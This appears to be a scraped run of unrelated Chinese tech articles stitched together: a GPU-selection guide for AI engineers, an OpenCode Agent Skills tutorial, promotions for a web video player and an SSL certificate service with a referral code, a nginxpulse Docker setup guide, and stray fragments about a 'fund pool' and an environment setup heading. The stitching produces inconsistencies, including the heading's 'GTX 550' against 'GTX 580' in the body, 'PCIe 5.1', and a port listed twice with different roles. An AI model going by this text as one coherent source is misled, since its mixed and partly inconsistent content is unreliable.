某种架构具体带来了哪些实际的 AI 计算能力?内存子系统与互联方案如何限制或赋能 AI 工作负载?消费级 GPU 与数据中心级 GPU 除了价格和营销之外,究竟有何本质区别?

01 我的第一块 GPU

我的第一块 GPU 是 NVIDIA 7300GT,配备有 256MB 显存和 128 位显存总线。如今,就连一台微波炉的算力都比它强。2008 年,我(外)祖母给我买了人生第一台台式电脑,这块显卡就装在那台机器里。

记得当时我试图在电脑上运行《侠盗猎车手4》(Grand Theft Auto 4),结果游戏根本启动不了 —— 我猜,可能连渲染 Rockstar Games 的 Logo 第一帧对这块小家伙来说都太吃力了。我还记得,我曾试图努力说服父母给我买一块 NVIDIA 9500GT,因为有个朋友用的就是这款,他的电脑能在 1280x1024 分辨率下以高画质流畅运行那款游戏。但这完全超出了当时家里的经济承受能力。

你能想象,后来我一有机会就泡在他家里玩游戏。最终,经过各种折腾,我终于在自己的电脑上以 340x280 分辨率、全部最低画质勉强能玩一会儿了。

我还记得自己进入 Windows/ProgramFiles 目录,修改游戏的 .ini 配置文件,尝试调整 DirectX 9.0 设置,关掉能找到的每一项图形特效 —— 全靠当时能找到的每一篇教程指导。而那时我用的是拨号上网,网速只有 40kb/s,加载一页文字或一段视频常常要等好几分钟。

游戏画面大概像下图这样,但像素更模糊,帧数最高只有 12-13 FPS,显卡风扇在 70-80 摄氏度高温下疯狂运转。

不过嘛,好歹能玩了 :)

图 1. 《GTA 4》在NVIDIA GT7300上的运行效果(10FPS/最低画质/英特尔酷睿i5/8GB内存)。来源:YouTube 视频截图

有意思的是,正是从那时起,我开始接触到 NVIDIA SLI、不同的 GPU 系列、显存、内存这些概念。虽然当时我并不真正理解这些是什么,也并不想深究 —— 我唯一的念头,就是让这款全校同学都在聊的游戏在我的电脑上跑起来,好让我也能加入那个“圈子”。

回到现在,我们甚至可以直接在手机上流畅运行画质远胜当年的游戏,轻松达到 30+ FPS,还不怎么耗电。

我想通过这段经历传达的是:GPUs、图形处理技术、超级计算机、AI 计算,乃至整个科技领域,已经走了非常非常远。如今的计算设备不仅更快、更强、更节能,而且比以往任何时候都更便宜。

02 深度学习始于两块 GTX 550

在最近一期的 Joe Rogan 播客节目中[1],黄仁勋提到了一段如今容易被遗忘的深度学习历史。2012 年,Alex Krizhevsky 和 Ilya Sutskever 训练了 AlexNet,这个图像分类模型一举击败了当时所有主流的计算机视觉算法。

图 2. 近期 Joe Rogan 播客节目的截图,嘉宾为 NVIDIA 首席执行官黄仁勋。

他们就用了 2 张 NVIDIA GTX 580 游戏显卡(每张配备 3 GB显存)就实现了快速卷积运算,这便是他们当时的全部配置。

他们开源的 cuda-convnet[2] 非常优秀,以至于在随后数年间成为行业标准,推动了深度学习爆发初期的头几年发展。2012 年的这次成功也暗示了一点:AI 的进步将极度依赖 GPU 硬件。

但是,硬件只占一半。如果你今天在编写或部署现代 AI 模型,几乎可以肯定你用的是 NVIDIA 硬件。这不仅仅关乎 FLOPs(浮点运算次数)或 GPU 显存有多大,同样重要的是软件栈 —— 那些底层库、框架和 SDK,让 AI 工程师能够训练、优化并部署自己的模型。

作为一名 AI 工程师,如果你了解 NVIDIA 如何构建其 GPU 体系,你的工作会轻松得多。

本文将以硬件优先的视角,为你提供该体系的实用指南:

  • 软件视角:计算能力(compute capability)与 CUDA 特性
  • 架构视角:Ampere → Hopper → Blackwell
  • 硬件视角:PCIe 与 SXM、NVLink 的对比,以及它们何时重要

03 理解计算能力(Compute Capability)

每一块 NVIDIA GPU 都拥有一个“计算能力”(Compute Capability,简称 CC)版本号,例如 7.0、8.9、9.0 等。这个数字定义了该 GPU 支持哪些指令、CUDA 核心、Tensor Core、内存操作以及其他功能。简单来说,CC 版本号决定了每种 GPU 架构所具备的硬件特性。

如果我们查看下表,就能看到从早期的 Tesla GPU 到专为 AI 设计的最新 Blackwell 芯片,每个 GPU 芯片家族对应的 CC 版本号。

我 2008 年使用的 GT7300,便属于 Tesla 架构家族。有趣的是,一款基于 Tesla 家族 GPU(7800GTX)的修改版本 —— 名为 RSX(Reality Synthesizer)的芯片,曾被用于 PlayStation 3 主机。该芯片由索尼与英伟达合作开发。

图 3. 计算能力与GPU架构的对应关系图,展示了各 CUDA SDK 版本所涵盖的计算能力版本号范围。图片来源:维基百科,附有补充标注。

如果你拥有一块 NVIDIA GPU,可以在终端中运行以下命令查看它的 CC:

nvidia-smi --query-gpu=name,compute_cap --format=csv

图 4. 执行上述命令后,我的 RTX4080 GPU 的计算能力 (CC) 及其他 nvidia-smi 详细信息。

有几个关键特性与计算能力紧密相关:

  • Tensor Core 与精度格式

    • Ampere(A100、RTX 30XX):支持 TF32 和 FP16 Tensor Core
    • Hopper(H100):通过 Transformer Engine 新增 FP8 支持
    • Blackwell(B100/B200):进一步推进至 FP4/NVFP4,用于推理优化

图 5. Tensor Core 的组成结构对应的计算能力(Compute Capability, CC)。对于每一个 CC 版本号,Tensor Core 的配置都不同,并且经过了更进一步的优化。该图来自维基百科。

  • 内存:更新的 CC 支持更先进的高带宽内存(如 HBM2E、HBM3、HBM3e)、更大的显存容量,以及更快的 NVLink 互连技术。
  • CUDA 与库支持:新的 CUDA 特性在某个时间点后将不再向后兼容旧的计算能力版本。

分析 GPU 时的一个经验法则是:CC 版本号越高,对现代 AI 特性(FP8/FP4、更好的稀疏性、更大的内存、新的互连技术)获得的“原生”支持就越好。 下图概述了 GPU 的架构家族与具体型号,涵盖了从消费级 GPU 到数据中心 GPU 的范围,并展示了它们各自对应的计算能力(Compute Capability)分数。

图 6:以更宏观的视角展示了 GPU 架构与计算能力(CC)之间的关联,并包含了具体的 GPU 型号。该图源自维基百科,并添加了额外的标注说明。

总结本节内容:计算能力(Compute Capability)告诉你一块 GPU 实际支持哪些硬件特性,以及你的 CUDA kernel 能否以全速运行。显存(VRAM)、计算性能(FLOPs)和互连技术固然重要,但前提是这些功能必须被该 GPU 的计算能力所支持,才能真正发挥作用。

在了解了计算能力(Compute Capability, CC)之后,我们可以通过查阅“技术规格速查表”(Technical Cheatsheet)进一步理解 GPU 性能,我们可以从中提取诸如接口类型、浮点运算性能(FLOPs)、显存带宽(Memory Bandwidth)等具体细节。

04 解读技术规格速查表

在理解了计算能力之后,GPU 技术规格速查表(Technical Cheatsheet)是 AI 工程师用来掌握硬件与软件优化细节的另一关键参考工具。在一份技术规格速查表中,工程师可以查找到关于 CPU 性能、功耗、不同精度格式下的理论算力以及 GPU 封装形式等核心指标。

其中,最后一项(封装形式)对于计算集群的构建尤为重要,因为集群中需要连接多块 GPU 并共享资源池。通过速查表,你可以快速回答以下问题:

  • 这款 GPU 是否支持所需的精度模式?
  • 其显存容量与带宽是否充足?
  • GPU 之间的互联带宽是否足以支撑模型并行?
  • 它能否顺利部署到现有的硬件基础设施中?

在下图中,我们以 Hopper H200 GPU 的技术速查表为例,重点查看其 FLOPs 相关参数,并解释 SXM 与 PCIe 等不同封装形式之间的区别。

图 7. 带注释示例的 NVIDIA H200 GPU 技术速查表,以及展示 PCIe 与 SXM 外观形态差异的图片。

根据这份速查表,AI 工程师通常会首先关注显存容量、带宽以及特定精度类型的 FLOPS,这些指标直接决定 AI 模型训练与推理的速度。

以这款 GPU 为例,单块 H200 GPU 拥有 141GB 显存,带宽高达 4.8 TB/秒。对于视觉类工作负载(例如实时视觉 AI 推理),该 GPU 配备了 NVDEC 视频解码引擎,能够将视频数据解码并直接转换为张量就绪的数据结构(tensor-ready structures),无需经过 CPU 处理。

4.1 MIG - 多实例 GPU(Multi Instance GPU)

另一个重要细节是 MIG(Multi Instance GPU),它允许工程师将单块物理 GPU 切分为多个虚拟 GPU 实例,每个实例都运行在相互隔离的环境中。

例如,一块 H200 可被划分为 4 个 MIG 实例,每个实例拥有 36GB 显存。这意味着 4 位不同的 AI 工程师可以各自在独立环境中运行自己的工作负载。

比如在“多智能体系统”(multi-agent system)场景中,多个大语言模型(LLM)各自驻留在独立的显存(VRAM)和 GPU 资源边界内,同时并行处理不同的任务。

在模型训练的实验阶段,MIG 同样非常实用 —— 你可以用它并行运行同一实验的不同配置或优化策略。例如,一个 MIG 实例使用 FP8 量化、以 batch size 32 进行推理,另一个则使用 FP4 量化、batch size 64。

4.2 封装形式(Form Factor) —— SXM 还是 PCIe?

现在让我们聚焦于封装形式,因为它也直接影响 GPU 性能。在这份速查表中,列出了两种形态:PCIe 和 SXM。PCIe(Peripheral Component Interconnect Express)是一种通用接口标准,常见于消费级 GPU。

在附图中,可以看到一张游戏 PC 主板,其配备 PCIe 5.1 插槽,可用于安装如 RTX 4080/4090/5090 等显卡。而 SXM 是一种直接嵌入主板的特殊芯片封装形式,专用于数据中心集群。

例如,一台 H200 DGX 服务器包含 8 块 H200 GPU —— 它们并非通过 PCIe 连接,而是通过 SXM 直接连接,并通过 NVLink 互连。

图 8. H200 SXM 封装形式 GPU(左)和 PCIe 封装形式 GPU(右)的特写。下图是芯片在控制板上的外观。

采用 SXM 封装形式,GPU 能获得更高的供电能力,从而维持更高的持续时钟频率,并通过 NVLink 交换芯片实现 GPU 与 GPU 之间的直连通信。这对训练或部署大模型至关重要 —— 因为 AI 工程师可充分利用张量并行(Tensor Parallel)或流水线并行(Pipeline Parallel)等技术,同时保持极低的 GPU 间通信延迟。

例如,H100 的 SXM 封装版本可以组成 NVLink/NVSwitch 互联拓扑结构,在这种结构中,16 块 GPU 能够共享高达数百 GB/s 的双向通信带宽。这类多 GPU 集群通常用于训练和推理大型稠密 LLM 或 MoE(Mixture-of-Experts)模型 —— 因为 MoE 网络中的 token 路由和激活值交换,极度依赖高速的 GPU-GPU 通信。

图 9:由 NVIDIA NCCL 库所支持或优化的、包含 16 块 GPU 的互联拓扑结构。来源:NVIDIA[3]

4.3 什么是 NVLink?

要理解 NVLink 和 NVSwitch,我们可以先回顾一下早期的 SLI 接口。2012 年用于训练 AlexNet 的两块 GTX 580,就是通过 SLI 桥接器(SLI Bridge)连接,以实现更快的计算和两块卡之间的数据共享。SLI 诞生于游戏时代,当时 NVIDIA 主要面向消费市场销售用于图形渲染的 GPU。

图 10:使用 SLI 桥接器连接的 NVIDIA GeForce GPU。来源:维基百科。

NVLink 是 SLI 的继任者,专为 AI 工作负载设计。

对于桌面端(PCIe 显卡) :NVLink 通过一种外置物理桥接器(NVLink Bridge)连接。这是一种紧凑的 PCB 结构件,插入两张相邻 GPU 顶部的专用 NVLink 接口,类似于老式的 SLI 桥。

对于服务器端(SXM 模块) :在高密度服务器环境(如 NVIDIA DGX 系统)中,NVLink 连接直接集成在多 GPU 载板上。SXM 形态的 GPU 模块插入该载板后,NVLink 连接就成为服务器内部结构的一部分。

例如,下图展示了两块 A100 PCIe 显卡通过 NVLink 桥接器连接的情形。

图 11:两块采用 PCIe 封装形式的 NVIDIA A100 GPU,使用 NVLink 桥接器连接。

05 AI 工程师如何选择GPU

典型的 AI 工程工作流高度依赖专用硬件来加速模型训练与推理。尽管大部分工作负载运行在云计算平台上,但许多团队(尤其是处理高度敏感数据或有特殊需求的团队)仍会使用本地计算集群。无论部署环境如何,关于使用哪种 GPU 的决策都应该基于充分的研究、规划。

AI 工程师常见的部署环境包括:

  • 云计算平台:诸如 AWS、Azure、GCP 或原生的 NVIDIA DGX Cloud 等服务提供可扩展、按需付费的顶级硬件访问权限(例如 NVIDIA H100)。LambdaCloud 或 RunPod 等特色供应商也提供了颇具吸引力的替代方案。
  • 本地实验室:在私人数据中心或专用实验室工作的工程师对硬件拥有完全的控制权,通常使用 NVIDIA DGX 或 HGX 系统。

本地部署是目前大多数顶尖 AI 实验室(如 OpenAI、Anthropic、X 和 Meta)的主流选择 —— 他们都采购了 DGX 集群或大量 NVIDIA GPU 来自建数据中心。

这是因为在多数 AI 研究中,如果需要进行 100 次实验,其中 70 次可能失败。若使用按需付费的云资源,面临冷启动问题并在大型云集群上调配资源,成本将十分高昂。

在对比具体 GPU 型号时(无论是在云端还是本地),工程师通常会依据三大技术层面进行评估:

1)计算能力(硬件与软件层面)

对于 NVIDIA 而言,计算能力指标决定了 GPU 支持的底层特性,包括支持的精度格式、Tensor Core 或 CUDA Cores 的配置。

2)可用内存(VRAM 与带宽)

VRAM 指的是可用内存大小,而带宽则决定了数据存取的速率。 尽管大语言模型正趋向小型化(如 12B、30B 参数的模型已表现非常优异),但在预训练的 BF16 精度下将此类模型加载到内存中仍需大量 VRAM。

带宽是另一个关键的性能维度。训练或微调 LLM 涉及大量读写操作,这些操作不仅占用 VRAM,还会利用 GPU 的所有内存层级。GPU 除了显存(VRAM)之外,还拥有 SRAM 和寄存器(Registers)。这些高速存储单元用于临时缓存 kernel 计算产生的数据 —— 要么供另一个 kernel 接着使用,要么将数据写回 VRAM,以便 CPU 能够访问。

最新一代 GPU 大多采用 HBM,这种高带宽内存比消费级 GPU 常用的 GDDR-X 内存更适配 AI 工作负载。

3)互联能力(通信性能)

这一指标决定了 GPU 间相互通信的速度,对于分布式训练非常重要 —— 因为大多数模型并非在单卡上训练或微调,而是通常涉及多 GPU 集群。

注:例如 Mistral 8x7B MoE 模型就是基于 240 块 H100 GPU 从头开始训练的,这种配置在大多数 LLM 预训练中相当典型。

此处的关键区别在于连接接口的选择:是 PCIe 标准,还是 SXM+NVLink 组合。后者是大规模分布式 LLM 训练的首选方案。

遵循软件能力、内存和互联性能这三大技术层面来评估 GPU 选项,能够有效筛选出符合需求的 GPU 型号,并让我们能根据工作负载的具体要求对系统进行针对性调优。

06 结语

AI 世界日新月异,但底层的核心问题从未改变:

  • 我的 GPU 能否运行所需的 kernels?→ 看计算能力与架构
  • 我的模型和 batch size 能否装下?→ 看显存、内存类型与带宽
  • 我的 GPU 之间的通信速度是否够快?→ 看 PCIe 与 SXM

归根结底,AI 工程师做出正确选择的关键,在于将这些核心需求与合适的工具、生态系统及可扩展性要求相匹配。明确你当前处理的 AI 工作负载(预训练、微调或推理)的具体需求范围,将极大简化选择合适计算资源的过程。

END

本期互动内容 🍻

❓如果你今天要搭建一个专用于 7B 参数级模型微调的实验室,会选 4 张消费级RTX 4090 还是 2 张专业级 A100?为什么?

文中链接

[1]https://www.youtube.com/watch?v=3hptKYix4X8

[2]https://code.google.com/archive/p/cuda-convnet/

[3]https://developer.nvidia.com/blog/doubling-all2all-performanc...

本文经原作者授权,由 Baihai IDP 编译。如需转载译文,请联系获取授权。

原文链接:

https://read.theaimerge.com/p/an-ai-engineers-guide-to-choosing

什么是 Agent Skill

在与 AI Agent 协作开发时,我们常常希望它能遵循一些特定的、可复用的操作流程,比如按照固定格式创建 Git Release、执行项目代码检查、或是生成符合团队规范的文档。OpenCode Agent Skill 提供了一种机制,允许我们将这些可复用的指令和行为封装起来,供 Agent 在需要时发现并调用。

一个 Skill 本质上是一份包含了特定指令的 Markdown 文件,它定义了一项任务的名称、描述以及具体的执行步骤。通过这种方式,我们可以将复杂的、重复性的工作流程标准化,让 Agent 能够像调用工具一样,精确、一致地执行这些预定义的任务。这不仅提升了协作效率,也确保了输出结果的规范性。

创建一个 Skill

创建一个 Skill 的过程非常直接,核心是在指定的目录中放置一个名为 SKILL.md 的文件。

Skill 的存放位置

OpenCode 会在特定路径下搜索 SKILL.md 文件。这些路径分为项目本地和全局两种,方便我们将 Skill 应用于特定项目或是在所有项目中共享。

项目本地路径允许我们将 Skill 与代码仓库绑定在一起,当其他开发者克隆项目后,也能立即使用这些为项目定制的 Skill。OpenCode 会从当前工作目录向上搜索,直到 Git 仓库的根目录,并加载所有符合以下模式的 Skill 文件:

  • .opencode/skill/<skill-name>/SKILL.md
  • .claude/skills/<skill-name>/SKILL.md

全局路径则用于存放那些通用的、与具体项目无关的 Skill。这些 Skill 定义在用户的主目录下,对所有项目都可见:

  • ~/.config/opencode/skill/<skill-name>/SKILL.md
  • ~/.claude/skills/<skill-name>/SKILL.md

这里的 <skill-name> 是一个目录名,它必须与 Skill 本身的名称保持一致。这种目录结构使得每个 Skill 的定义都清晰地隔离在自己的文件夹内。下面的两种方式,选一种就好:

OpenCode Agent Skills 使用指南!一文介绍

Skill 的文件内容

每个 SKILL.md 文件都由两部分组成:YAML Frontmatter 和 Markdown 正文。

Frontmatter 位于文件的最顶端,使用 --- 分隔,用于定义 Skill 的元数据。Agent 正是通过这些元数据来发现和理解 Skill 的用途。

一个合法的 SKILL.md 文件必须包含 namedescription 两个字段。

---
name: git-release
description: Create consistent releases and changelogs
license: MIT
compatibility: opencode
metadata:
  audience: maintainers
  workflow: github
---

## What I do

- Draft release notes from merged PRs
- Propose a version bump
- Provide a copy-pasteable `gh release create` command

## When to use me

Use this when you are preparing a tagged release.
Ask clarifying questions if the target versioning scheme is unclear.

在上面的例子中,namedescription 是必填项,它们直接影响 Agent 如何识别和选择 Skill。而 licensecompatibilitymetadata 等字段是可选的,用于提供额外的信息。

name 字段的值必须符合特定的命名规范:

  • 长度在 1 到 64 个字符之间。
  • 只能包含小写字母、数字和单个连字符 -
  • 不能以连字符开头或结尾。
  • 不能包含连续的连字符。
  • 最重要的一点是,它必须与存放 SKILL.md 文件的目录名完全相同。

description 字段的长度限制在 1 到 1024 个字符之间。它的作用是向 Agent 清晰地描述这个 Skill 的功能,以便 Agent 在众多可用 Skill 中做出正确的选择。一个好的描述应该具体、明确,准确传达 Skill 的核心用途。

文件的正文部分则使用标准的 Markdown 语法,详细说明 Skill 的具体行为、使用场景和执行逻辑。这部分内容是 Agent 加载 Skill 后获取的核心指令,因此编写得越清晰,Agent 的执行效果就越好。

Agent 如何发现和使用 Skill

当 OpenCode 启动时,它会自动扫描所有预定路径,发现可用的 Skill。然后,它会将这些 Skill 的 namedescription 提取出来,以工具描述的形式呈现给 Agent。你也可以直接问:

OpenCode Agent Skills 使用指南!一文介绍

Agent 看到的可用 Skill 列表大致如下所示:

<available_skills>
  <skill>
    <name>git-release</name>
    <description>Create consistent releases and changelogs</description>
  </skill>
</available_skills>

Agent 会根据当前任务的需求,分析这个列表中的 description,判断哪个 Skill 最适合解决问题。一旦决定使用某个 Skill,它就会调用内置的 skill 工具,并通过 name 来指定要加载的具体 Skill。

例如,当 Agent 决定使用 git-release 这个 Skill 时,它会执行如下调用:

skill({ name: "git-release" })

这个调用会触发 OpenCode 加载对应的 SKILL.md 文件的完整内容(包括 Markdown 正文),并将其作为上下文提供给 Agent。Agent 接收到这些详细指令后,就会按照文件中定义的方式继续执行任务。整个过程实现了 Skill 的按需加载,既高效又灵活。

配置 Skill 的访问权限

在团队协作中,并非所有 Skill 都适合对所有 Agent 或所有场景开放。例如,一些具有高风险操作的内部 Skill 可能只希望被特定的维护者 Agent 使用。OpenCode 提供了基于模式匹配的权限系统,可以精细化地控制 Agent 对 Skill 的访问。

权限配置在项目根目录的 opencode.json 文件中进行。我们可以在 permission.skill 对象里定义一系列规则。

一个基础的配置可能如下所示,它允许所有 Agent 访问所有 Skill:

{
  "permission": {
    "skill": {
      "*": "allow"
    }
  }
}

规则的键是匹配 Skill 名称的模式,支持 * 通配符。例如,internal-* 可以匹配 internal-docsinternal-tools 等所有以 internal- 开头的 Skill。规则的值则决定了权限行为。

权限行为描述
allowAgent 可以直接加载并使用该 Skill。
deny该 Skill 对 Agent 完全隐藏,Agent 无法发现也无法访问。
ask当 Agent 尝试加载该 Skill 时,系统会向用户发起确认请求,只有在用户批准后才能继续。

通过组合这些规则,我们可以实现复杂的权限控制。例如,以下配置允许访问 pr-review,禁止访问所有 internal- 系列的 Skill,并在访问 experimental- 系列 Skill 时向用户确认。

{
  "permission": {
    "skill": {
      "*": "allow",
      "pr-review": "allow",
      "internal-*": "deny",
      "experimental-*": "ask"
    }
  }
}

为特定 Agent 覆盖权限

除了全局配置,我们还可以为特定的 Agent 单独设置权限,覆盖全局默认规则。

对于自定义 Agent,可以直接在其定义的 Frontmatter 中添加 permission 块:

---
permission:
  skill:
    "documents-*": "allow"
---

对于像 plan 这样的内置 Agent,则可以在 opencode.json 文件中进行配置:

{
  "agent": {
    "plan": {
      "permission": {
        "skill": {
          "internal-*": "allow"
        }
      }
    }
  }
}

这种分层配置的能力为管理复杂的 Agent 体系提供了极大的便利。

彻底禁用 Skill 工具

在某些情况下,我们可能希望某个 Agent 完全不使用任何 Skill。OpenCode 也支持彻底禁用 skill 工具。

对于自定义 Agent,在其 Frontmatter 中设置 tools.skillfalse 即可:

---
tools:
  skill: false
---

对于内置 Agent,同样在 opencode.json 中配置:

{
  "agent": {
    "plan": {
      "tools": {
        "skill": false
      }
    }
  }
}

skill 工具被禁用后,Agent 将不会看到 <available_skills> 列表,也无法调用 skill 工具,从而完全隔离了它与 Skill 系统的交互。

解决加载问题

如果发现某个 Skill 没有按预期出现在可用列表中,可以从以下几个方面进行排查:

  1. 文件名检查:确保文件名是 SKILL.md,全大写。
  2. Frontmatter 检查:确认 SKILL.md 文件中包含了必需的 namedescription 字段。
  3. 名称唯一性:检查所有扫描路径下是否存在同名的 Skill。Skill 名称必须是唯一的,如果出现冲突,加载行为可能不确定。
  4. 权限检查:检查 opencode.json 中的权限配置,deny 规则会直接将 Skill 从列表中隐藏。

通过这些检查,通常可以快速定位并解决 Skill 加载失败的问题。

各位 V 友,

在开发 Web 视频应用时,大家是否遇到过这些“心累”的时刻:

  • 为了跑通 HLS 、DASH 、FLV ,不得不引入一堆不同的插件,甚至还要处理它们之间的冲突。
  • 面对 RTSP 监控流,在 Chrome 禁用 Flash 后,依然找不到轻量级的网页无插件播放方案。
  • 老板突然要求支持 WebRTC 低延时,还得去兼容阿里、腾讯、百度各家特色的协议。
  • 好不容易集成了播放器,发现截图、弹幕、画中画、倍速、甚至是音量增益等“基础功能”全都要自己手撸代码实现。

为了彻底解决这些痛点,我们开发了 **zwplayer (Zero Web Player)**。
官网地址:https://www.zwplayer.cn

🚀 为什么叫 Zero ?

我们的核心目标是:将开发者的成本降至无限接近于零。
你不需要是流媒体专家,不需要了解各种协议的技术细节。你只需要给它一个地址,剩下的交给 zwplayer 内部的智能引擎。

✨ 核心亮点:

  1. **全协议通吃 (开箱即用)**:
  • 直播/点播:HLS, DASH, HTTP-FLV, WebSocket, HTTP-TS 等全覆盖。
  • 超低延时:深度集成 WebRTC (WHEP 标准),官方适配阿里云 ARTC 、腾讯云 TRTC 、百度云 BRTC ,端到端延迟低至 240ms
  • RTSP 网页直放:配合服务器端转发,实现在浏览器无需插件直接播放 RTSP 监控流。
  • 本地播放:支持直接加载用户本地视频文件进行播放。
  1. “傻瓜式”的集成体验
  • 无依赖:纯原生 JS 编写,不依赖第三方库 ,支持 Vue 2/3 。
  • API 永久固化:升级版本只需替换 JS 文件,不破坏现有业务代码。
  • WordPress 插件无缝集成:提供 WordPressZWPlayer播放器插件,无需编写代码,像插入图片一样即可调用。
  1. 内置“全家桶”级功能
  • 交互增强:内置弹幕系统、双语字幕渲染、字幕搜索、章节搜索、进度条预览缩略图。
  • 画面操控:支持亮度/对比度调节、画面多角度旋转、视频截图。
  • 特色业务AB 片段循环音量 4 倍增益实时录制/音频提取,以及专为在线教育设计的强锁禁控模式(失去焦点自动暂停)。
  1. 真正意义上的 0 成本
  • 完全免费:个人/商业用途均免费,无 License 限制,无广告,无联网后门。
  • 私网友好:不依赖 CDN ,内网/私有云环境解压即用。


🔗 相关链接:

欢迎各位 V 友试用并提出宝贵建议!如果你正被复杂的流媒体协议折磨,或者厌倦了反复造轮子写 UI ,zwplayer 也许能让你早点下班。

应用截图:
界面截图.png

SSL证书,作为保障网站安全的关键技术之一,不仅通过HTTPS加密机制保护数据安全传输,更是利于搜索引擎优化(SEO)、提高用户信任度与网站可见性的重要策略。

一、SSL证书原理:

SSL证书的核心工作原理包括三个关键过程:

  • 握手协议: 建立安全连接时,客户端与服务器之间的相互验证、协商加密等。
  • 记录协议: 对传输数据进行加密、解密和完整性验证。
  • 警报协议: 在检测到异常时发送警报信息。

二、SSL证书如何提高网站安全性?

1、数据加密保护

SSL证书实现对网站与用户之间传输的数据的端到端加密。这意味着即使数据被第三方截获,也无法解读其内容。对于涉及登录凭证、个人信息、支付详情等敏感数据的网站,这种保护至关重要。

2、身份验证机制

SSL证书由全球信任的证书颁发机构(CA)验证服务器真实身份后颁发,能验证网站真实身份,确保用户连接的是合法网站而非仿冒站点。这一过程有效防范了网络钓鱼等欺诈行为。

3、数据完整性

保证SSL证书通过消息认证码(MAC)机制,校验数据在传输过程中是否被篡改,从而确保了传输信息的完整性和可靠性。

三、SSL申请流程如下:

免费SSL证书申请入口

1.访问JoySSL的官方网站并注册账号。在注册过程中,填写相关信息,最后一栏务必填写最新的注册码230970,这样才能获得免费一年期SSL证书的申请权限。

2.登录后,选择“免费一年期SSL证书”选项,0元下单购买。并填写域名、联系人、联系方式等相关信息。

3.根据提示验证域名所有权,验证方式包括DNS解析认证或者服务器文件验证等。

4.验证成功后,10分钟左右签发,签发后,在JoySSL账号下载已签发的SSL证书及相关中间证书链文件等等。根据服务器环境(如Apache、Nginx、IIS等),将证书文件安装到服务器上。

大家好,我是 Java陈序员

对于运维人员、站长来说,Nginx 日志是分析网站访问情况的核心,但逐行翻阅、手动统计 PV/UV、排查 IP 归属地的过程,耗时又费力。尤其是多站点部署时,不同日志文件切换、数据零散的问题,更是让人效率大打折扣。

今天,给大家推荐一款开源的轻量级 Nginx 日志分析可视化面板,告别逐行翻日志!

关注微信公众号:【Java陈序员】,获取开源项目分享、AI副业分享、超200本经典计算机电子书籍等。

项目介绍

nginxpulse —— 一款轻量级 Nginx 访问日志分析与可视化面板,提供实时统计、PV 过滤、IP 归属地与客户端解析。

功能特色

  • 轻量化部署:支持 Docker 部署,无需搭建复杂依赖环境,基于 Go 语言开发,后端高性能低消耗,搭配 SQLite 轻量化数据库,无需额外部署数据库服务
  • 多维度日志分析:支持同时挂载多个 Nginx 日志文件,自动统计 PV/UV、访问频次、请求状态码、客户端(浏览器/设备)、访问时段等维度数据
  • 智能 IP 解析:IP 归属地按地域分类展示,可快速定位异常访问 IP、高频访问区域
  • 灵活适配:支持适配非标准 Nginx 日志格式,只需调整解析规则配置,无需修改代码,还适配 Caddy 服务器日志解析,一站式搞定多类 Web 服务器日志分析

技术栈

  • 后端Go + SQLite + Ip2Region
  • 前端Vue3 + Vite + TypeScript

快速上手

Docker 部署

1、拉取镜像

docker pull magiccoders/nginxpulse:latest

2、创建挂载目录

mkdir -p /data/software/nginxpulse

3、运行容器

docker run -d --name nginxpulse \
  -p 8088:8088 \
  -p 8089:8089 \
  -e WEBSITES='[{"name":"Java陈序员","logPath":"/share/log/nginx/access.log","domains":["chencoding.top","chencoding.top"]}]' \
  -e ACCESS_KEYS='["key-1","key-2"]' \
  -v /data/software/nginx/access.log:/share/log/nginx/access.log:ro \
  -v /data/software/nginxpulse:/app/var/nginxpulse_data \
  magiccoders/nginxpulse:latest

参数说明

  • 8088:前端访问端口
  • 8088:后端访问端口
  • -e WEBSITES:指定网站列表的 JSON 数组,字段:namelogPathdomains(可选)
  • -e ACCESS_KEYS:访问密钥列表,为非空数组时,访问 UI 和 API 都需要提供密钥

4、浏览器访问

http://{IP/域名}:8088

Docker Compose 部署

1、创建 docker-compose.yml 文件,并写入如下内容:

version: "3.8"
services:
  nginxpulse:
    image: magiccoders/nginxpulse:latest
    container_name: nginxpulse
    ports:
      - "8088:8088"
      - "8089:8089"
    environment:
      WEBSITES: '[{"name":"Java陈序员","logPath":"/share/log/nginx/access.log","domains":["chencoding.top","chencoding.top"]}]'
      ACCESS_KEYS: '["key-1","key-2"]'
    volumes:
      - /data/software/nginx/access.log:/share/log/nginx/access.log:ro
      - /data/software/nginxpulse:/app/var/nginxpulse_data
      - /etc/localtime:/etc/localtime:ro
    restart: unless-stopped

2、启动运行

docker compose up -d

日志文件挂载

  • 多日志文件挂载

WEBSITES 的值是个数组,参数对象中传入网站名、网址、日志路径。例如:

environment:
  WEBSITES: '[{"name":"网站1","logPath":"/share/log/nginx/access-site1.log","domains":["www.kaisir.cn","kaisir.cn"]}, {"name":"网站2","logPath":"/share/log/nginx/access-site2.log","domains":["home.kaisir.cn"]}]'
volumes:
  - ./nginx_data/logs/site1/access.log:/share/log/nginx/access-site1.log:ro
  - ./nginx_data/logs/site2/access.log:/share/log/nginx/access-site2.log:ro
  • 日志目录挂载

如果有很多个网站要分析,可以考虑将日志目录整体挂载进去,然后在 WEBSITES 里去指定具体的日志文件即可。例如:

environment:
  WEBSITES: '[{"name":"网站1","logPath":"/share/log/nginx/access-site1.log","domains":["www.kaisir.cn","kaisir.cn"]}, {"name":"网站2","logPath":"/share/log/nginx/access-site2.log","domains":["home.kaisir.cn"]}]'
volumes:
  - ./nginx_data/logs:/share/log/nginx/
  • 压缩日志(.gz)挂载

nginxpulse 还支持直接解析 .gz 压缩日志,logPath 可指向单个 .gz 文件或使用通配符。例如:

{"logPath": "/share/log/nginx/access-*.log.gz"}

功能体验

  • 概况

  • 数据日报

  • 实时

  • 访问明细

不管是个人站长、中小企业运维,还是个人开发,nginxpulse 都能帮你告别繁琐的日志分析,用最简单的方式掌握网站访问数据。快去试试吧~

项目地址:https://github.com/likaia/nginxpulse

最后

推荐的开源项目已经收录到 GitHub 项目,欢迎 Star

https://github.com/chenyl8848/great-open-source-project

或者访问网站,进行在线浏览:

https://chencoding.top:8090/#/

我创建了一个开源项目交流群,方便大家在群里交流、讨论开源项目

但是任何人在群里打任何广告,都会被 T 掉

如果你对这个交流群感兴趣或者在使用开源项目中遇到问题,可以通过如下方式进群

关注微信公众号:【Java陈序员】,回复【开源项目交流群】进群,或者通过公众号下方的菜单添加个人微信,并备注【开源项目交流群】,通过后拉你进群

大家的点赞、收藏和评论都是对作者的支持,如文章对你有帮助还请点赞转发支持下,谢谢!

此次升级将更好地守护早期支持者的利益,并保障资金池的长期健康运转。面对市场的不确定性,我们将视情况灵活调整额度分配,感谢您的理解与支持。

pZoAzNQ.jpg

0x00 环境搭建

